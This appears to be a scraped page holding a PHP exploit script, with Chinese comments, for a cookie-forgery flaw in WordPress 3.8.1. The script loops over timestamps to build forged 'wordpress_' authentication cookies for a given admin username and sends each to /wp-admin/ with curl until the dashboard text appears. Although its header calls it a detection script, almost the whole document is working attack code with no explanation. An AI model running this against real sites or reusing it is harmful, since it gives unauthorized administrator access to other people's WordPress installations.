PHP 약한 타이핑: WordPress 쿠키 위조

<span> 1</span> <?<span>php
</span><span> 2</span><span>/*</span><span> 3</span><span> 4</span><span>本脚本用于WordPress 3.8.1 的cookie伪造漏洞检测
</span><span> 5</span><span>传入两个值
</span><span> 6</span><span>  WordPress 的主页 $host
</span><span> 7</span><span>  管理员用户名     $root
</span><span> 8</span><span>*/</span><span> 9</span><span>header</span>("Content-type:text/html;charset=utf-8"<span>);
</span><span>10</span><span>11</span><span>$host</span> = 'http://xxx.xxx.xxx';<span>//</span><span>主页地址 结尾不带'/'</span><span>12</span><span>$root</span> = 'user';<span>//</span><span>管理员用户名</span><span>13</span><span>14</span><span>$url</span> = <span>$host</span>.'/wp-admin/';<span>//</span><span>后台管理地址    </span><span>15</span><span>$sitehash</span>=<span>md5</span>(<span>$host</span><span>); 
</span><span>16</span><span>17</span><span>echo</span> "\nWelcome\n\n"<span>;
</span><span>18</span><span>//</span><span>通过时间戳暴力破解cookie 实现伪造cookie</span><span>19</span><span>for</span>(<span>$i</span>=1500000000;<span>$i</span><1600000000;<span>$i</span>++<span>){
</span><span>20</span><span>$cookie</span> = "wordpress_".<span>$sitehash</span>."=".<span>$root</span>."|".<span>$i</span>."|0;";<span>//</span><span>组合构造cookie</span><span>21</span><span>$header</span> = <span>array</span><span>(
</span><span>22</span>        "Content-Type:application/x-www-form-urlencoded",
<span>23</span>       'User-Agent: Mozilla/4.0 (compatible; MSIE .0; Windows NT 6.1; Trident/4.0; SLCC2;)',
<span>24</span>       "Cookie:".<span>$cookie</span>,
<span>25</span><span>      );
</span><span>26</span><span>27</span><span>$curl</span> = curl_init(); <span>//</span><span> 启动一个CURL会话    </span><span>28</span>         curl_setopt(<span>$curl</span>, CURLOPT_URL, <span>$url</span>); <span>//</span><span> 要访问的地址</span><span>29</span>         curl_setopt(<span>$curl</span>, CURLOPT_FOLLOWLOCATION, 1); <span>//</span><span> 使用自动跳转    </span><span>30</span>         curl_setopt(<span>$curl</span>, CURLOPT_AUTOREFERER, 1); <span>//</span><span> 自动设置Referer    </span><span>31</span>         curl_setopt(<span>$curl</span>, CURLOPT_HTTPGET, <span>true</span>); <span>//</span><span> 发送一个常规的Post请求    </span><span>32</span>         curl_setopt(<span>$curl</span>, CURLOPT_HTTPHEADER, <span>$header</span>); <span>//</span><span> 读取上面所储存的Cookie信息         </span><span>33</span>         curl_setopt(<span>$curl</span>, CURLOPT_RETURNTRANSFER, 1); <span>//</span><span> 获取的信息以文件流的形式返回 </span><span>34</span>         curl_setopt(<span>$curl</span>, CURLOPT_HEADER, <span>false</span><span>);
</span><span>35</span>         curl_setopt(<span>$curl</span>, CURLOPT_HEADER, 0<span>);   
</span><span>36</span>         curl_setopt(<span>$curl</span>, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);<span>//</span><span>让curl自动选择版本</span><span>37</span><span>$tmpInfo</span> = curl_exec(<span>$curl</span>); <span>//</span><span> 执行操作</span><span>38</span><span>if</span> (curl_errno(<span>$curl</span><span>)) {    
</span><span>39</span><span>echo</span> 'Errno'.curl_error(<span>$curl</span><span>);    
</span><span>40</span><span>        }    
</span><span>41</span>         curl_close(<span>$curl</span>); <span>//</span><span> 关闭CURL会话
</span><span>42</span><span>43</span><span>        //匹配结果</span><span>44</span><span>if</span>(<span>strstr</span>(<span>$tmpInfo</span>,'我们准备了几个链接供您开始'<span>)){
</span><span>45</span><span>echo</span>  "\n".'success : '.<span>$cookie</span>."\n\n"<span>;
</span><span>46</span><span>break</span><span>;
</span><span>47</span>         }<span>else</span><span>{
</span><span>48</span><span>echo</span>  'fail : '.<span>$cookie</span>."\n"<span>;
</span><span>49</span><span>        }
</span><span>50</span><span>51</span><span>    }
</span><span>52</span> ?>